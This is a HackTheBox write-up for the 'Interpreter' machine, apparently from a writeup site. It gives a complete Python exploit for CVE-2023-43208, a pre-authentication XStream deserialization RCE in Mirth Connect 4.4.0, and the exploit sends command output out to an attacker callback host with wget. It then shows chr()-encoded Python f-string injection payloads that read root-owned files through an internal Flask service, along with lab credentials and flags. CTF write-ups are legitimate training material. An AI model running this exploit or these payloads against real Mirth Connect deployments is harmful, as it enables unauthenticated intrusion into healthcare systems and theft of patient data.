Interpreter (Mirth Connect → f-string Injection)
hackthebox
Task: HackTheBox machine with Mirth Connect 4.4.0 healthcare integration engine. Solution: CVE-2023-43208 XStream deserialization for initial RCE as mirth user, then privilege escalation via Python f-string double eval injection in internal Flask service running as root, using chr() encoding to bypass regex filter.
$ ls tags/ techniques/
Interpreter (Mirth Connect → f-string Injection) — HackTheBox
Description
Full machine on HackTheBox. Mirth Connect 4.4.0 (healthcare integration engine) with CVE-2023-43208 vulnerability for initial access, then privilege escalation via Python f-string injection in an internal Flask service running as root.
- Target: 10.129.7.17
- OS: Debian 12, kernel 6.1.0-43-amd64
- Stack: Jetty (Mirth Connect 4.4.0), Flask/Werkzeug 2.2.2, MariaDB 10.5
- Users: root, sedric (uid=1000), mirth (uid=103)
Flags
| # | Type | Flag | Method |
|---|---|---|---|
| 1 | User | b63665586c7eca1656d9f9b6b821e48a | f-string injection → open('/home/sedric/user.txt').read() |
| 2 | Root | 9acc749ecf629eb2fa239153b8e2cacd | f-string injection → open('/root/root.txt').read() |
Reconnaissance
Nmap Scan
nmap -sV -sC -T4 -p- --min-rate=1000 10.129.7.17
Open ports:
- 22 — SSH (OpenSSH 9.2p1 Debian)
- 53 — DNS
- 80/443 — HTTP/HTTPS (Jetty — Mirth Connect Administrator 4.4.0)
- 6661 — Mirth TCP/HL7 Listener (MLLP protocol)
Internal services (discovered after initial access):
- 127.0.0.1:54321 — Flask/Werkzeug 2.2.2 (
notif.py, runs as root) - 127.0.0.1:3306 — MariaDB (credentials:
mirthdb:MirthPass123!)
Identification
- HTTP title: "Mirth Connect Administrator"
- SSL cert CN:
mirth-connect - Mirth Connect — open-source healthcare integration engine for routing HL7 messages
- Version 4.4.0 is vulnerable to CVE-2023-43208 (pre-auth RCE)
Step 1: Initial Access — CVE-2023-43208 (XStream Deserialization RCE)
Mirth Connect 4.4.0 has a critical vulnerability CVE-2023-43208 — unauthenticated RCE via XStream deserialization in /api/users POST endpoint.
Vulnerability
- Endpoint
/api/usersaccepts XML without authentication - XStream parser deserializes arbitrary Java objects
- Gadget chain:
ChainedTransformer+InvokerTransformer+EventUtils$EventBindingInvocationHandler - Result:
Runtime.getRuntime().exec(command)as usermirth
Exploit (rce.py)
#!/usr/bin/env python3 """CVE-2023-43208 RCE helper - executes commands and exfiltrates output""" import requests import urllib3 import sys import time import threading import base64 as b64 from http.server import HTTPServer, BaseHTTPRequestHandler urllib3.disable_warnings() TARGET = "https://10.129.7.17" LHOST = "10.10.16.247" LPORT = 8888 result_data = None result_event = threading.Event() class CallbackHandler(BaseHTTPRequestHandler): def do_POST(self): global result_data cl = int(self.headers.get("Content-Length", 0)) result_data = self.rfile.read(cl).decode("utf-8", errors="replace") self.send_response(200) self.end_headers() self.wfile.write(b"OK") result_event.set() def log_message(self, format, *args): pass def send_exploit(cmd): """Send command via CVE-2023-43208 XStream deserialization""" cmd_xml = cmd.replace("&", "&").replace("<", "<").replace(">", ">") xml = ( '<sorted-set><string>abcd</string><dynamic-proxy>' '<interface>java.lang.Comparable</interface>' '<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">' '<target class="org.apache.commons.collections4.functors.ChainedTransformer">' '<iTransformers>' '<org.apache.commons.collections4.functors.ConstantTransformer>' '<iConstant class="java-class">java.lang.Runtime</iConstant>' '</org.apache.commons.collections4.functors.ConstantTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>getMethod</iMethodName>' '<iParamTypes><java-class>java.lang.String</java-class>' '<java-class>[Ljava.lang.Class;</java-class></iParamTypes>' '<iArgs><string>getRuntime</string><java-class-array/></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>invoke</iMethodName>' '<iParamTypes><java-class>java.lang.Object</java-class>' '<java-class>[Ljava.lang.Object;</java-class></iParamTypes>' '<iArgs><null/><object-array/></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>exec</iMethodName>' '<iParamTypes><java-class>java.lang.String</java-class></iParamTypes>' f'<iArgs><string>{cmd_xml}</string></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '</iTransformers></target>' '<methodName>transform</methodName>' '<eventTypes><string>compareTo</string></eventTypes>' '</handler></dynamic-proxy></sorted-set>' ) headers = {"Content-Type": "application/xml", "X-Requested-With": "OpenAPI"} try: requests.post(TARGET + "/api/users", headers=headers, data=xml, timeout=15, verify=False) except: pass def exec_cmd(shell_cmd, timeout=10): """Execute a shell command and return output via wget callback""" global result_data, result_event result_data = None result_event.clear() server = HTTPServer(("0.0.0.0", LPORT), CallbackHandler) server_thread = threading.Thread(target=server.handle_request) server_thread.daemon = True server_thread.start() time.sleep(0.5) # Base64-encode the script to avoid quoting issues script = ( f"#!/bin/sh\n" f"{shell_cmd} > /tmp/.rce_out 2>&1\n" f"wget --post-file=/tmp/.rce_out http://{LHOST}:{LPORT}/out " f"-O /dev/null 2>/dev/null\n" f"rm -f /tmp/.rce_out /tmp/.rce_script\n" ) encoded = b64.b64encode(script.encode()).decode() decode_cmd = f"sh -c $@|sh . echo echo {encoded}|base64 -d|sh" send_exploit(decode_cmd) result_event.wait(timeout=timeout) server.server_close() return result_data
Key Exploit Features
- No
curlon target — usingwget --post-filefor command output exfiltration - Base64 encoding — shell script is base64-encoded to avoid escaping issues in XML
- Callback server — HTTP server on attacker machine receives POST with execution result
- Command format:
sh -c $@|sh . echo echo <b64>|base64 -d|sh— trick for executing arbitrary shell code viaRuntime.exec()
Result
$ python3 rce.py id
[*] Executing: id
[+] Output:
uid=103(mirth) gid=107(mirth) groups=107(mirth)
Step 2: Enumeration as mirth
Internal Service Discovery
# Discovered Flask service on 127.0.0.1:54321 ss -tlnp # → 127.0.0.1:54321 (python3 /usr/local/bin/notif.py) # File owned by root:sedric, mirth cannot read ls -la /usr/local/bin/notif.py # → -rwxr----- root sedric # Discovered Mirth channel "INTERPRETER - HL7 TO XML TO NOTIFY" # Chain: HL7v2 (port 6661) → XML → POST http://127.0.0.1:54321/addPatient
MariaDB Credentials Discovery
# In mirth.properties grep -i password /opt/mirth-connect/conf/mirth.properties # → database.password = MirthPass123! # → database.username = mirthdb
Mirth Channel Logic
The "INTERPRETER" channel performs:
- Receives HL7v2 messages on port 6661 (MLLP protocol)
- Transforms HL7 → XML with fields:
timestamp,sender_app,id,firstname,lastname,birth_date,gender - POSTs XML to
http://127.0.0.1:54321/addPatient
Step 3: Privilege Escalation — Python f-string Double Eval Injection
Vulnerability Discovery
Since notif.py is unreadable by mirth, we investigate /addPatient behavior by sending XML directly:
# From target (via RCE as mirth): import urllib.request xml = '<patient><firstname>John</firstname><lastname>Doe</lastname>' \ '<birth_date>1990</birth_date><gender>M</gender>' \ '<sender_app>test</sender_app><timestamp>2024</timestamp>' \ '<id>1</id></patient>' req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=xml.encode(), method='POST') req.add_header('Content-Type', 'application/xml') resp = urllib.request.urlopen(req) print(resp.read().decode())
Response: Patient John Doe (M), 36 years old, received from test at 2024
Observations:
- Age is calculated: 2026 - 1990 = 36 → arithmetic in template
- Machine name "Interpreter" → hint at
eval/exec/code interpretation
Testing f-string Injection
firstname: {7*7} → [INVALID_INPUT] (regex blocks *)
firstname: {__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()}
→ uid=0(root) gid=0(root) groups=0(root)
RCE as root confirmed!
Vulnerable Code (notif.py)
#!/usr/bin/env python3 from flask import Flask, request, abort import re, uuid, os from datetime import datetime import xml.etree.ElementTree as ET app = Flask(__name__) def template(first, last, sender, ts, dob, gender): pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$") for s in [first, last, sender, ts, dob, gender]: if not pattern.fullmatch(s): return "[INVALID_INPUT]" try: year_of_birth = int(dob.split('/')[-1]) if year_of_birth < 1900 or year_of_birth > datetime.now().year: return "[INVALID_DOB]" except: return "[INVALID_DOB]" # ← VULNERABILITY: double f-string evaluation template = f"Patient {first} {last} ({gender}), " \ f"{{datetime.now().year - year_of_birth}} years old, " \ f"received from {sender} at {ts}" try: return eval(f"f'''{template}'''") # ← user input eval'd as f-string! except Exception as e: return f"[EVAL_ERROR] {e}" @app.route("/addPatient", methods=["POST"]) def receive(): if request.remote_addr != "127.0.0.1": abort(403) # ... parses XML, extracts fields, calls template()
Vulnerability Mechanism
Double f-string evaluation:
-
First f-string (lines 15-17): substitutes user input into template
template = f"Patient {first} ..." # first = "{__import__('os').popen('id').read()}" # → template = "Patient {__import__('os').popen('id').read()} ..." -
Second eval (line 19): interprets the result as another f-string
eval(f"f'''{template}'''") # → eval("f'''Patient {__import__('os').popen('id').read()} ...'''") # → "Patient uid=0(root)... ..." -
Expressions in
{}from user input pass through the first f-string as literal text (because Python doesn't know they are f-string expressions — they're just strings), but are executed by the second eval().
Regex Filter Bypass
Regex: ^[a-zA-Z0-9._'"(){}=+/]+$
- Allowed:
a-z A-Z 0-9 . _ ' " ( ) { } = + / - Blocked: spaces,
-,,,;,[,],\,|,&,<,>,!,@,#,$,%,^,*,~,`
Solution: use chr() to encode blocked characters:
# Instead of: __import__('os').popen('id').read() # Write: __import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read() # Instead of: open('/home/sedric/user.txt').read() # Write: open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+...).read()
Key insight: regex allows (){}+ — this is enough for function calls, string concatenation via chr(), and f-string injection.
Step 4: Flag Extraction
User Flag
Payload in <firstname>:
{open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(115)+chr(101)+chr(100)+chr(114)+chr(105)+chr(99)+chr(47)+chr(117)+chr(115)+chr(101)+chr(114)+chr(46)+chr(116)+chr(120)+chr(116)).read()}
Decodes to: open('/home/sedric/user.txt').read()
b63665586c7eca1656d9f9b6b821e48a
Root Flag
Payload in <firstname>:
{open(chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(46)+chr(116)+chr(120)+chr(116)).read()}
Decodes to: open('/root/root.txt').read()
9acc749ecf629eb2fa239153b8e2cacd
Full Attack Chain
Nmap Scan → Mirth Connect 4.4.0 on ports 80/443, HL7 listener on 6661
↓
CVE-2023-43208: XStream deserialization in /api/users → RCE as mirth (uid=103)
↓
Enumeration: Flask notif.py on 127.0.0.1:54321 (runs as root)
↓
Mirth channel: HL7 → XML → POST /addPatient
↓
Probing /addPatient: age calculation hints at eval(), machine name "Interpreter"
↓
f-string injection in <firstname>: {expression} evaluated by eval(f"f'''...'''")
↓
chr() encoding to bypass regex filter (no spaces/special chars allowed)
↓
{open(chr(47)+...+chr(116)).read()} → read /home/sedric/user.txt (User Flag)
↓
{open(chr(47)+...+chr(116)).read()} → read /root/root.txt (Root Flag)
Key Vulnerabilities
| # | Vulnerability | CVE | Impact |
|---|---|---|---|
| 1 | XStream Deserialization RCE | CVE-2023-43208 | Pre-auth RCE as mirth |
| 2 | Python f-string double eval | — | RCE as root via internal service |
| 3 | Regex allows {}() with eval | — | Regex bypass via chr() encoding |
| 4 | Internal service trusts local input | — | Privilege escalation path |
Key Indicators
Use this technique when:
- Mirth Connect ≤ 4.4.0 — check for CVE-2023-43208 (pre-auth XStream deserialization RCE)
- "Mirth Connect Administrator" in HTTP title + Jetty server
- Port 6661 — typical port for HL7/MLLP listener in Mirth
eval(f"f'''...")or double f-string substitution — any{expr}in user input will be executed- Regex allows
{}— if regex filters input but allows curly braces, f-string/template injection is possible chr()for regex bypass — if()and+are allowed, any string can be built viachr(N)+chr(M)+...- Internal service running as root — Flask/other service on localhost, accessible after initial access, may be a privesc vector
- Machine name "Interpreter" — direct hint at eval/exec/code interpretation
Lessons
- Double f-string evaluation is a critical vulnerability.
eval(f"f'''{user_input}'''")allows arbitrary Python code execution, even if input was previously substituted into another f-string - Regex filtering is useless if
{}()are allowed. These characters are all that's needed for f-string injection + function calls.chr()++allow building any string - CVE-2023-43208 is pre-auth RCE in Mirth Connect. Healthcare systems often use Mirth Connect; versions ≤ 4.4.0 are critically vulnerable
- Internal services = hidden attack surface. A service on localhost:54321, invisible from outside, turned out to be the main privesc vector
- No curl? Use wget.
wget --post-fileis an excellent alternative for data exfiltration - Machine name is always a hint. "Interpreter" → Python interpreter → eval()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Conversor (Full Box)— hackthebox
- [pentest][free]WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass)— hackthebox
- [web][free]Browsed— hackthebox
- [infra][free]Expressway— hackthebox
- [web][free]Jailbreak— hackthebox